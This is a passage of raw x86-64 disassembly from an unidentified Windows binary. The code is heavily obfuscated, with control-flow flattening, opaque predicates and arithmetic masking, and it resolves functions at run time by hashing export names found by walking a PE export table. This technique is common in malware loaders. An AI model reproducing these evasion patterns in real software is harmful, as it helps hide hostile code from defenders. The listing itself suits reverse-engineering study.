or ecx, eax
xor ecx, 0x96027819
or ebx, ecx
mov eax, ebx
xor eax, 0x8540002
and eax, 0x8d56825a
mov ecx, ebx
and ecx, 0x12287da5
or ecx, eax
xor ecx, 0xb557ca28
mov r10d, ebx
xor r10d, 0x9722fef9
mov eax, r10d
and eax, 0xa001040
or eax, ecx
and r14d, 0x55d88b24
xor esi, 0x3569a797
or esi, r14d
mov ecx, esi
xor ecx, 0x7f79bff7
and ecx, eax
not eax
mov edi, r11d
and edi, 0x2a2134d3
mov edx, esi
xor edx, 0x7ff8bff7
or esi, 0x80064008
and esi, eax
or ecx, esi
and esi, edx
and edx, eax
xor ecx, edx
or esi, ecx
mov edx, r11d
and edx, 0xd5decb2c
mov r12d, edx
xor r12d, 0x4912a796
mov eax, r12d
or eax, 0x5d4314bb
mov ecx, r11d
or ecx, 0xaabdffd7
xor ecx, eax
mov r14d, r11d
xor r14d, 0x22202040
and r14d, edi
xor edx, 0xd5decb2c
mov r13d, edx
or edx, edi
not edi
mov eax, r11d
and eax, 0x20200000
mov r9d, edi
and r9d, 0x2006240
add eax, r9d
add eax, 0x4c400028
xor eax, r14d
mov r9d, eax
xor r9d, 0xecfc892c
mov r14d, ecx
xor ecx, 0x2a3197d7
and ecx, r9d
xor r14d, 0x6000
xor eax, 0x130376d3
and eax, r14d
or eax, ecx
mov r14d, dword [rbp + 0x490]
xor r14d, 0xfcb76fbb
and r14d, r15d
xor r8d, 0xe0b76cbb
and r13d, 0x504a8308
and r12d, 0x859448b4
or r12d, r13d
mov ecx, r11d
and ecx, 0xa203442
and edi, 0xa59548b5
or edi, ecx
xor edi, r12d
xor edi, 0xdeeefffa
and edi, edx
or edi, eax
mov eax, esi
xor eax, 0x4625c679
mov ecx, edi
and ecx, 0x4625c679
or ecx, 0x21981982
and edi, 0xb9da3986
xor edi, ecx
mov ecx, edi
xor ecx, 0x67bddffb
xor esi, 0xb9da3986
and esi, ecx
xor edi, 0x98422004
and edi, eax
mov eax, ebx
xor eax, 0x130881e4
and eax, r10d
mov ecx, ebx
or ecx, 0xdbd780fa
mov edx, ecx
and edx, 0xc51ea4c
and ebx, 0x281501
or ebx, edx
xor ebx, eax
xor ebx, 0x2859814c
xor ecx, 0xfbdf81fe
and ecx, eax
or ecx, ebx
mov eax, r11d
and eax, 0xdbd780fa
or r10d, r11d
and r11d, 0x24287f05
or r11d, 0x43d68078
xor r11d, eax
xor r11d, ecx
xor r11d, 0x98010082
and r11d, r10d
or r11d, edi
or r11d, esi
mov eax, r15d
and eax, 0x3089a
mov ecx, r8d
and ecx, 0x804000
or ecx, eax
xor ecx, 0x10804204
xor r15d, 0xe0342421
and r15d, r8d
or r15d, ecx
mov ecx, r15d
xor ecx, 0xef7cb561
mov eax, r15d
and eax, 0x30240e
mov edx, ecx
and edx, 0xf1cfcab1
or edx, eax
mov ebx, edx
xor ebx, 0xe303540
mov eax, ebx
and eax, 0x74b34cb1
and edx, 0x814ca20e
or edx, eax
or ebx, 0xa45bbedf
mov esi, edx
xor esi, 0x51a47060
and esi, ebx
mov ebx, r14d
and ebx, 0xa45bbedf
or ebx, 0x1b044100
mov r9d, r14d
and r9d, 0x5ba44120
xor r9d, ebx
mov edi, esi
not edi
and edx, 0x18000
mov r10d, esi
and r10d, 0x10c048b0
mov ebx, edi
and ebx, 0xec26020a
mov eax, esi
and eax, 0x1182445
or eax, edx
lea edx, [rbx + r10]
add ebx, r10d
add ebx, 0x2018000
and r8d, 0x40a44020
xor ebx, eax
mov eax, r8d
xor eax, 0xfce65bba
xor edx, 0xec26120a
and edx, eax
mov eax, esi
and eax, 0x718c06f1
and edi, 0x8473e80e
or edi, eax
or esi, r8d
xor edi, r8d
lea eax, [r8 + 0x319a445]
xor ebx, 0x281c020
and eax, ebx
xor edi, 0x718c06f1
and edi, esi
or edi, edx
or edi, eax
mov eax, r9d
xor eax, 0xbf5fffdf
xor r9d, 0x40a00020
and r9d, edi
not edi
and edi, eax
mov eax, r15d
and r15d, 0xc09208a5
and ecx, 0x3a25f71a
or ecx, r15d
mov edx, r14d
xor eax, r14d
xor ecx, r14d
not edx
or edi, r9d
xor eax, 0xef7cb561
and eax, edx
xor ecx, 0x3aa7ff9e
or ecx, eax
mov eax, ecx
and eax, 0xd49ab90b
mov edx, ecx
and edx, 0x2b6546f4
or edx, 0x4412a808
xor edx, eax
mov eax, edx
xor eax, 0x6f77eefc
mov ebx, edi
xor ebx, 0x2b6546f4
and ebx, eax
not ecx
and ecx, edi
xor edi, 0xd49ab90b
xor edx, 0x90881103
and edx, edi
or ecx, edx
or ecx, ebx
xor ecx, r11d
imul eax, ecx, 0x1000193
mov dword [rbp + 0x484], eax
mov eax, dword [rbp + 0x450]
mov r15d, dword [rbp + 0x448]
mov r12d, dword [rbp + 0x44c]
mov r10, qword [rbp + 0x438]
mov r8d, dword [rbp + 0x400]
mov esi, dword [rbp + 0x3e0]
mov edi, dword [rbp + 0x488]
mov r9d, dword [rbp + 0x48c]
jmp 0x140097290
cmp eax, 0x581f37ef
jle 0x140098fa0
cmp eax, 0x581f37f0
je 0x140099017
cmp eax, 0x5c59f878
je 0x140099030
cmp eax, 0x7694ece2
jne 0x140097290
test r12b, 1
movsx eax, byte [rbp + 0x4e7]
mov ecx, dword [rbp + 0x4d0]
sete byte [rbp + 0x4ed]
cmp r15d, 0xa
setl byte [rbp + 0x4ee]
mov ecx, 0x462bec05
jmp 0x140098e6d
cmp ecx, 0x22c0f4b1
jne 0x140098f59
mov ecx, dword [rbp + 0x4e8]
mov ecx, 0x1f53ad1b
cmp ecx, 0x3117fdc3
jle 0x140098ec0
cmp ecx, 0x58a11e18
jg 0x140098ee0
cmp ecx, 0x3117fdc4
je 0x140098efe
cmp ecx, 0x462bec05
jne 0x140098e6d
movzx edx, byte [rbp + 0x4ed]
cmp byte [rbp + 0x4ee], 0
mov ebx, 0x3117fdc4
mov ecx, 0x3117fdc4
jne 0x140098eac
mov ecx, 0x71946ac1
test dl, dl
cmovne ecx, ebx
jmp 0x140098e6d
cmp ecx, 0x1f53ad1a
jg 0x140098e56
cmp ecx, 0x8353906e
je 0x140098f1f
cmp ecx, 0xb9e70da7
je 0x140098e62
jmp 0x140098e6d
cmp ecx, 0x58a11e19
je 0x140098f3b
cmp ecx, 0x71946ac1
jne 0x140098e6d
mov ecx, 0x3117fdc4
jmp 0x140098e6d
mov dword [rbp + 0x4e8], eax
mov ecx, dword [rbp + 0x4e8]
cmp ecx, 0x41
setge byte [rbp + 0x4ef]
mov ecx, dword [rbp + 0x4c0]
jmp 0x140098e6d
cmp byte [rbp + 0x4ef], 0
mov ecx, 0x58a11e19
jne 0x140098e6d
mov ecx, 0x22c0f4b1
jmp 0x140098e6d
mov edx, dword [rbp + 0x4e8]
mov ecx, 0xb9e70da7
cmp edx, 0x5b
jl 0x140098e6d
mov ecx, 0x22c0f4b1
jmp 0x140098e6d
cmp ecx, 0x1f53ad1b
jne 0x140098e6d
mov eax, 0x9fdcb46a
jmp 0x140097290
cmp eax, 0xbd0b03e6
je 0x140099060
cmp eax, 0xe59fd857
jne 0x140099085
mov r8d, dword [rbp + 0x484]
mov eax, 0x5c59f878
xor esi, esi
mov edi, dword [rbp + 0x4a8]
jmp 0x140097290
cmp eax, 0x17954bb8
je 0x140097270
cmp eax, 0x2f530768
jne 0x140097290
mov eax, dword [rbp + 0x454]
jmp 0x140097290
mov r8d, dword [rbp + 0x4d0]
mov eax, 0x5c59f878
mov esi, 1
mov edi, dword [rbp + 0x4d0]
jmp 0x140097290
mov rax, qword [rbp + 0x4d8]
add rax, 1
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x4d8]
mov al, byte [rax]
mov byte [rbp + 0x4e7], al
cmp byte [rbp + 0x4e7], 0
setne byte [rbp + 0x4d7]
mov eax, dword [rbp + 0x410]
jmp 0x140097290
cmp byte [rbp + 0x4d7], 0
mov eax, 0x87ce9d3c
mov ecx, 0x2f530768
cmovne eax, ecx
jmp 0x140097290
mov dword [rbp + 0x4a4], edi
test esi, esi
mov eax, 0xc6b502bf
mov ecx, 0xbd0b03e6
cmove eax, ecx
mov r10, qword [rbp + 0x498]
mov ecx, dword [rbp + 0x4a4]
mov dword [rbp + 0x3e8], ecx
mov r9d, r8d
jmp 0x140097290
mov eax, dword [rbp + 0x3e8]
mov dword [rbp + 0x4a8], eax
mov dword [rbp + 0x4d0], r9d
mov qword [rbp + 0x4d8], r10
mov eax, dword [rbp + 0x4c4]
jmp 0x140097290
cmp eax, 0xc6b502bf
jne 0x140097290
mov eax, dword [rbp + 0x4a4]
cmp eax, 0x3915b706
mov eax, 0x67ce0cc2
mov ecx, 0x34c97f99
cmove eax, ecx
jmp 0x1400970b0
cmp eax, 0x9b6ef62e
jle 0x140099150
cmp eax, 0xa4df38c1
jle 0x1400991f5
cmp eax, 0xa4df38c2
je 0x1400992fe
cmp eax, 0xb8791e98
je 0x1400992a6
cmp eax, 0xd4c10340
jne 0x1400970b0
mov rax, qword [rbp + 0x458]
mov eax, 0x80055193
mov rcx, qword [rbp + 0x408]
mov qword [rbp + 0x3f8], rcx
jmp 0x1400970b0
cmp eax, 0x6ffe1115
jle 0x140099243
cmp eax, 0x7d77dcca
je 0x1400992a6
cmp eax, 0x7519a91b
je 0x140099308
cmp eax, 0x6ffe1116
jne 0x1400970b0
mov eax, dword [rbp + 0x464]
jmp 0x1400970b0
cmp eax, 0x84c237ee
jg 0x140099272
cmp eax, 0x8232d9cb
je 0x140099318
cmp eax, 0x825579c1
jne 0x1400995cb
mov eax, dword [rbp + 0x418]
mov dword [rbp + 0x4bc], eax
mov rax, qword [rbp + 0x470]
mov ecx, dword [rbp + 0x4bc]
cmp ecx, dword [rax + 0x18]
mov eax, 0x3f1498e5
mov ecx, 0x84c237ef
cmove eax, ecx
jmp 0x1400970b0
cmp eax, 0xf28a6f13
je 0x14009933f
cmp eax, 0x25b8ba4e
jne 0x1400970b0
mov eax, dword [rbp + 0x4ac]
cmp eax, 2
sete byte [rbp + 0x4bb]
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8232d9cb
mov ecx, 0x7519a91b
cmovne eax, ecx
cmp dword [0x1400f2774], 0xa
mov ecx, 0x8232d9cb
cmovl eax, ecx
jmp 0x1400970b0
cmp eax, 0x9b6ef62f
je 0x14009943b
cmp eax, 0xa395c87a
jne 0x1400970b0
mov eax, dword [rbp + 0x494]
mov dword [rbp + 0x4ac], eax
mov rax, qword [rbp + 0x3d8]
mov qword [rbp + 0x420], rax
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7519a91b
mov ecx, 0x25b8ba4e
jmp 0x1400970a2
cmp eax, 0x63a2322b
je 0x14009944e
cmp eax, 0x67ce0cc2
jne 0x1400970b0
mov eax, dword [rbp + 0x4bc]
add eax, 1
mov dword [rbp + 0x418], eax
mov eax, 0x825579c1
jmp 0x1400970b0
cmp eax, 0x84c237ef
je 0x140099462
cmp eax, 0x91fe3c8f
jne 0x1400970b0
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa4df38c2
mov ecx, 0x63a2322b
jmp 0x1400970a2
mov eax, 0xd4c10340
xor ecx, ecx
mov qword [rbp + 0x408], rcx
jmp 0x1400970b0
mov eax, dword [rbp + 0x4bc]
mov rcx, qword [rbp + 0x468]
mov rdx, qword [rbp + 0x470]
mov ebx, dword [rdx + 0x1c]
mov edx, dword [rdx + 0x24]
add rbx, rcx
add rdx, rcx
movzx eax, word [rdx + rax*2]
mov eax, dword [rbx + rax*4]
add rax, rcx
mov qword [rbp + 0x3d8], rax
mov eax, 0xa395c87a
mov dword [rbp + 0x494], 1
jmp 0x1400970b0
mov eax, 0x91fe3c8f
jmp 0x1400970b0
mov eax, dword [rbp + 0x4ac]
mov eax, 0x25b8ba4e
jmp 0x1400970b0
cmp byte [rbp + 0x4bb], 0
mov eax, 0xd4c10340
mov ecx, 0xb8791e98
cmovne eax, ecx
mov rcx, qword [rbp + 0x420]
mov qword [rbp + 0x408], rcx
jmp 0x1400970b0
lea rax, [rbp + 0x468]
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x458]
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 0x468], rax
mov eax, dword [0x1400f2740]
mov ecx, dword [0x1400f2744]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x4e8]
sete r8b
cmp ecx, 0xa
setge cl
setl dl
setl byte [rbp + 0x498]
mov eax, edx
xor al, r8b
or dl, r8b
mov ebx, eax
xor bl, 1
or cl, r8b
and cl, bl
xor cl, dl
mov ebx, 0xf5647b0b
mov ecx, 0x1be0c2cb
cmovne ebx, ecx
test al, al
mov eax, 0xf5647b0b
cmovne ebx, eax
mov edx, 0x45f0e8c0
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1be0c2ca
jg 0x1400993f0
cmp edx, 0xd6cac8db
je 0x140099422
cmp edx, 0xf5647b0b
jne 0x1400993d0
jmp 0x140099476
cmp edx, 0x1be0c2cb
je 0x140099434
cmp edx, 0x45f0e8c0
jne 0x1400993d0
movzx eax, byte [rbp + 0x4e8]
cmp byte [rbp + 0x498], 0
mov edx, 0x1be0c2cb
mov edi, 0xd6cac8db
cmovne edx, edi
test al, al
cmovne edx, edi
jmp 0x1400993d0
mov rax, qword [rbp + 0x3f0]
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov edx, ebx
jmp 0x1400993d0
mov edx, 0xd6cac8db
jmp 0x1400993d0
mov eax, 0x80055193
xor ecx, ecx
mov qword [rbp + 0x3f8], rcx
jmp 0x1400970b0
mov eax, 0x825579c1
mov dword [rbp + 0x418], 0
jmp 0x1400970b0
mov eax, 0xa395c87a
mov dword [rbp + 0x494], 2
jmp 0x1400970b0
mov qword [rbp + 0x4d8], rcx
mov rcx, qword [rbp + 0x4d8]
mov r8d, dword [rcx + 0x88]
mov r9d, dword [rcx + 0x8c]
mov r10, r8
add r10, qword [rbp + 0x3f0]
mov ebx, dword [0x1400f2748]
mov edi, dword [0x1400f274c]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
sete bl
sete byte [rbp + 0x4e8]
cmp edi, 0xa
setge al
setl byte [rbp + 0x498]
setl dl
mov ecx, edx
or sil, dl
and dl, bl
xor cl, bl
and al, bl
xor al, cl
mov ebx, esi
xor bl, 1
and bl, al
xor al, 1
test sil, sil
movzx eax, al
movzx ecx, cl
cmove ecx, eax
or bl, cl
mov eax, edx
or al, bl
and cl, dl
xor cl, dl
xor cl, al
mov eax, edx
xor al, bl
test cl, 1
mov ecx, 0x80d5946
mov edi, 0xbfa4195b
cmovne ecx, edi
mov qword [rbp + 0x470], r10
test bl, bl
mov ebx, ecx
mov esi, 0x80d5946
cmovne ebx, esi
mov dword [rbp + 0x478], r9d
test dl, dl
cmovne ebx, ecx
test al, 1
cmovne ebx, edi
mov ecx, 0x97bfe48f
nop word cs:[rax + rax]
cmp ecx, 0xfb599b2d
jg 0x140099560
cmp ecx, 0x97bfe48f
je 0x140099577
cmp ecx, 0xbfa4195b
jne 0x140099540
jmp 0x1400995a8
cmp ecx, 0xfb599b2e
je 0x1400995a4
cmp ecx, 0x80d5946
jne 0x140099540
mov ecx, 0xfb599b2e
jmp 0x140099540
movzx eax, byte [rbp + 0x4e8]
movzx ecx, byte [rbp + 0x498]
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x80d5946
mov edi, 0xfb599b2e
cmovne ecx, edi
test al, al
cmovne ecx, edi
test dl, dl
cmovne ecx, edi
jmp 0x140099540
mov ecx, ebx
jmp 0x140099540
test r8d, r8d
setne byte [rbp + 0x4d8]
cmp byte [rbp + 0x4d8], 0
mov eax, 0x7d77dcca
mov ecx, 0x62d8a4f8
cmovne eax, ecx
jmp 0x1400970b0
cmp eax, 0x80055193
jne 0x1400970b0
mov rax, qword [rbp + 0x4c8]
mov rcx, qword [rbp + 0x3f8]
mov qword [rax], rcx
mov eax, 0x2a1793f1
jmp 0x140097010
mov rax, qword [rbp + 0x4c8]
mov rax, qword [rax]
mov qword [rbp + 0x428], rax
mov eax, dword [0x1400f2768]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7e448d7d
mov ecx, 0x93e3b353
jmp 0x140096ff9
mov rax, qword [rbp + 0x428]
mov qword [rbp + 0x430], rax
mov eax, dword [0x1400f2760]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x73223574
mov ecx, 0xa5ff9edc
cmove eax, ecx
cmp dword [0x1400f2764], 0xa
cmovl eax, ecx
jmp 0x140094930
mov rax, qword [rbp + 0x428]
mov eax, 0x9ffa038d
jmp 0x140094930
mov rax, qword [rbp + 0x430]
mov rcx, qword [rbp + 0x3c0]
call rax
mov rcx, qword [rbp + 0x3b0]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
setne sil
mov rcx, qword [rbp + 0x3c8]
call fcn.14009a620
mov eax, dword [0x1400f2180]
mov ecx, dword [0x1400f2184]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x468]
mov edx, 0x638b1f1f
mov eax, 0x4147e290
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp - 0x50]
cmovl eax, edx
mov edx, 0x9884570c
mov ecx, 0xe70b9613
nop word cs:[rax + rax]
nop
cmp edx, 0x4147e28f
jg 0x140099700
cmp edx, 0x9884570c
je 0x140099712
cmp edx, 0xe70b9613
jne 0x1400996e0
mov edx, eax
jmp 0x1400996e0
cmp edx, 0x4147e290
je 0x14009972c
cmp edx, 0x638b1f1f
jne 0x1400996e0
jmp 0x140099733
movzx ebx, byte [rbp + 0x468]
cmp byte [rbp - 0x50], 0
mov edx, 0x4147e290
cmovne edx, ecx
test bl, bl
cmovne edx, ecx
jmp 0x1400996e0
mov edx, 0xe70b9613
jmp 0x1400996e0
mov eax, esi
add rsp, 0x578
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret